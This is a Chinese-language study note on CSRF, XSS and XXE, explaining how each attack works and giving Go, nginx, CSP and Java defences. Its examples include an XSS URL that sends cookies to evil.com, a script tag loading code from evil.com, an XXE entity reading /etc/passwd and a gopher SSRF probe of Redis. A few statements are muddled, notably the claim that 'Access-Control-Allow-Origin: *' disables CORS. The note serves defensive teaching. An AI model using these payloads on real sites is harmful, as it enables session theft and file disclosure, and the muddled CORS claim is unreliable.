209 lines
7.3 KiB
Markdown
209 lines
7.3 KiB
Markdown
|
|
---
|
|||
|
|
tags: [计算机网络, CSRF, XSS, XXE, CORS, Web安全]
|
|||
|
|
create time: 2026-05-18 05:05
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
# Web 应用攻击面:CSRF / XSS / XXE
|
|||
|
|
|
|||
|
|
## 概述
|
|||
|
|
|
|||
|
|
L7(应用层)攻击是黑客最常利用的层面。CSRF、XSS、XXE 三个名字相似但原理迥异,理解它们的区别和对应的防御手段是每个后端开发者的必修课。
|
|||
|
|
|
|||
|
|
## CSRF vs XSS vs XXE —— 三巨头对比
|
|||
|
|
|
|||
|
|
```mermaid
|
|||
|
|
flowchart LR
|
|||
|
|
subgraph "CSRF: 借用户的身份做操作"
|
|||
|
|
direction TB
|
|||
|
|
C1["用户已登录银行网站"] --> C2["访问恶意页面<br/>包含 <img src='bank.com/transfer'>"]
|
|||
|
|
C2 --> C3["浏览器自动带上 cookie → 转账成功"]
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
subgraph "XSS: 在用户浏览器执行脚本"
|
|||
|
|
direction TB
|
|||
|
|
X1["网站注入恶意 JS"] --> X2["其他用户打开含攻击页面的链接"]
|
|||
|
|
X2 --> X3["脚本在受害者上下文中执行 → 窃取 cookie"]
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
style C1 fill:#DDA0DD,color:#000
|
|||
|
|
style X1 fill:#FFD700,color:#000
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 详细对比表
|
|||
|
|
|
|||
|
|
| 特性 | CSRF | XSS (Reflected) | XSS (Stored) | XXE |
|
|||
|
|
|------|------|-----------------|--------------|-----|
|
|||
|
|
| **全名** | Cross-Site Request Forgery | Cross-Site Scripting | Stored/Persistent XSS | XML External Entity |
|
|||
|
|
| **攻击目标** | 服务器操作 | 客户端浏览器 | 客户端浏览器 | 服务器文件系统/内网 |
|
|||
|
|
| **核心漏洞** | 服务端没验证请求来源 | 输入未过滤直接输出到页面 | 持久化存储了恶意内容 | XML 解析器处理了外部实体 |
|
|||
|
|
| **用户需操作** | 只需打开恶意页面 | 只需点击带payload链接 | 完全被动 | 无需用户参与 |
|
|||
|
|
| **防御方式** | SameSite Cookie, CSRF Token, Referer 检查 | CSP, 输入编码, HTTPOnly Cookie | 同上 + 富文本 sanitizer | 禁用 DTD/外部实体 |
|
|||
|
|
| **危害等级** | 高(能代用户操作) | 中高(能盗取会话) | 最高(持久传播) | 极高(RCE/文件读取) |
|
|||
|
|
| **OWASP排名** | #9 | #3 | #3 | N/A |
|
|||
|
|
|
|||
|
|
### CSRF 详解
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
攻击流程:
|
|||
|
|
─────────────────────────────────────
|
|||
|
|
1. 用户在 bank.com 已登录(cookie 有效中)
|
|||
|
|
2. 用户访问 evil.com
|
|||
|
|
3. evil.com 包含:
|
|||
|
|
<form action="https://bank.com/transfer" method="POST">
|
|||
|
|
<input name="to" value="hacker_account"/>
|
|||
|
|
<input name="amount" value="10000"/>
|
|||
|
|
<input type="submit" value="领取奖励!"/>
|
|||
|
|
</form>
|
|||
|
|
4. 用户点击提交 → 浏览器自动携带 bank.com 的 cookie
|
|||
|
|
5. bank.com 以为是合法操作 → 转账成功 💸
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```go
|
|||
|
|
// ❌ 没有 CSRF 保护的 Go handler
|
|||
|
|
func TransferHandler(w http.ResponseWriter, r *http.Request) {
|
|||
|
|
if r.Method == http.MethodPost {
|
|||
|
|
to := r.FormValue("to")
|
|||
|
|
amount := r.FormValue("amount")
|
|||
|
|
// ⚠️ 没有验证请求来源!任何网站都能伪造 POST 请求
|
|||
|
|
transferMoney(to, amount)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 方案一:CSRF Token
|
|||
|
|
type CSRFStore struct {
|
|||
|
|
tokens sync.Map // token → userID + expiry
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
func GenerateCSRFToken(userID string) (string, error) {
|
|||
|
|
tokenBytes := make([]byte, 32)
|
|||
|
|
rand.Read(tokenBytes)
|
|||
|
|
token := base64.URLEncoding.EncodeToString(tokenBytes)
|
|||
|
|
|
|||
|
|
store.tokens.Store(token, userID)
|
|||
|
|
go func() {
|
|||
|
|
time.Sleep(24 * time.Hour)
|
|||
|
|
store.tokens.Delete(token) // token 过期清理
|
|||
|
|
}()
|
|||
|
|
return token, nil
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 方案二:SameSite Cookie(现代浏览器原生支持)
|
|||
|
|
http.SetCookie(w, &http.Cookie{
|
|||
|
|
Name: "session",
|
|||
|
|
Value: sessionID,
|
|||
|
|
Path: "/",
|
|||
|
|
HttpOnly: true, // JS 无法读取
|
|||
|
|
SameSite: http.SameSiteStrictMode, // ← 关键!禁止跨站携带
|
|||
|
|
})
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```nginx
|
|||
|
|
# Nginx 层面的 CSRF 防御
|
|||
|
|
location /api {
|
|||
|
|
# 校验 Referer(可被浏览器插件或旧浏览器绕过,仅作第二道防线)
|
|||
|
|
if ($http_referer !~* ^https://(www\.)?yourdomain\.com) {
|
|||
|
|
return 403;
|
|||
|
|
}
|
|||
|
|
proxy_pass http://backend;
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### XSS 详解
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
反射型 XSS 流程:
|
|||
|
|
───────────────────────
|
|||
|
|
1. 攻击者构造恶意 URL:
|
|||
|
|
https://site.com/search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
|
|||
|
|
2. 受害者点击该 URL
|
|||
|
|
3. 服务器把 q 参数原样放回 HTML 响应中
|
|||
|
|
4. 浏览器执行脚本 → cookie 被盗 🚨
|
|||
|
|
|
|||
|
|
存储型 XSS 流程:
|
|||
|
|
───────────────────────
|
|||
|
|
1. 攻击者在评论区发帖: <script src=http://evil.com/xss.js></script>
|
|||
|
|
2. 帖子被存入数据库
|
|||
|
|
3. 所有浏览此页面的用户都会执行恶意脚本
|
|||
|
|
4. 比反射型 XSS 危害大 10 倍(一次注入,无限受害)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```go
|
|||
|
|
// ✅ Go 的 html/template 自动转义,是最强的 XSS 防御
|
|||
|
|
import "html/template"
|
|||
|
|
|
|||
|
|
tmpl, _ := template.New("search").Parse(`
|
|||
|
|
<h1>Search results for: {{.Query}}</h1>
|
|||
|
|
<!-- .Query 会被自动 HTML-escape → <script → <script> -->
|
|||
|
|
`)
|
|||
|
|
// tmpl.Execute(w, data) → 输出中的特殊字符已被转义
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# CSP (Content Security Policy) 头 — XSS 的第二道防线
|
|||
|
|
# 即使 XSS payload 被执行了,CSP 也能阻止它加载外部资源
|
|||
|
|
HTTP/1.1
|
|||
|
|
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'
|
|||
|
|
# default-src 'self' → 只允许同源资源
|
|||
|
|
# script-src 'self' ... → 禁止内联 script 和外部未知域
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### XXE 详解
|
|||
|
|
|
|||
|
|
```xml
|
|||
|
|
<!-- 正常 XML -->
|
|||
|
|
<?xml version="1.0"?>
|
|||
|
|
<user>
|
|||
|
|
<name>Alice</name>
|
|||
|
|
<email>alice@example.com</email>
|
|||
|
|
</user>
|
|||
|
|
|
|||
|
|
<!-- XXE 攻击 payload -->
|
|||
|
|
<?xml version="1.0"?>
|
|||
|
|
<!DOCTYPE foo [
|
|||
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|||
|
|
]>
|
|||
|
|
<user>
|
|||
|
|
<name>&xxe;</name> <!-- 服务器返回 /etc/passwd 的内容 -->
|
|||
|
|
</user>
|
|||
|
|
|
|||
|
|
<!-- 更危险的版本:SSRF 式内网扫描 -->
|
|||
|
|
<!ENTITY attack SYSTEM "gopher://10.0.0.1:6379/_INFO">
|
|||
|
|
<!-- Redis INFO 命令返回值被写入响应 -->
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
```go
|
|||
|
|
// ✅ Go 的 encoding/xml 默认禁用外部实体,相对安全
|
|||
|
|
// 但仍需注意 SAX parser 等第三方库的安全配置
|
|||
|
|
|
|||
|
|
// Java 中需要明确关闭 XXE
|
|||
|
|
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
|
|||
|
|
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
|
|||
|
|
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
|||
|
|
factory.setExpandEntityReferences(false);
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## CORS vs CSRF —— 经常被混淆的两个概念
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
CORS (Cross-Origin Resource Sharing):
|
|||
|
|
──────────────────────────────────────
|
|||
|
|
• 浏览器的安全策略,防止网页加载跨域资源
|
|||
|
|
• 由浏览器自动执行,服务器通过响应头配合
|
|||
|
|
• Access-Control-Allow-Origin: https://trusted.com
|
|||
|
|
|
|||
|
|
CSRF (Cross-Site Request Forgery):
|
|||
|
|
────────────────────────────────────
|
|||
|
|
• 攻击者利用已登录用户的凭证伪造请求
|
|||
|
|
• 与 CORS 无关!CORS 不防 CSRF
|
|||
|
|
• 防御用 SameSite Cookie + CSRF Token
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
> [!important] 核心结论
|
|||
|
|
> CORS 不是 CSRF 的替代品。即使一个站点禁用了 CORS(`Access-Control-Allow-Origin: *`),依然会受到 CSRF 攻击。两者保护的是不同层面的安全问题。
|
|||
|
|
|
|||
|
|
## 关联笔记
|
|||
|
|
|
|||
|
|
- [[hhs/NETWORK/DDoS与MITM防御]] — L3/L4 攻击面的补充
|
|||
|
|
- [[hhs/NETWORK/JWT认证与授权安全]] — JWT 也是攻击重灾区
|
|||
|
|
- [[hhs/NETWORK/TLS安全实践]] — HSTS 是防范协议降级攻击的基础
|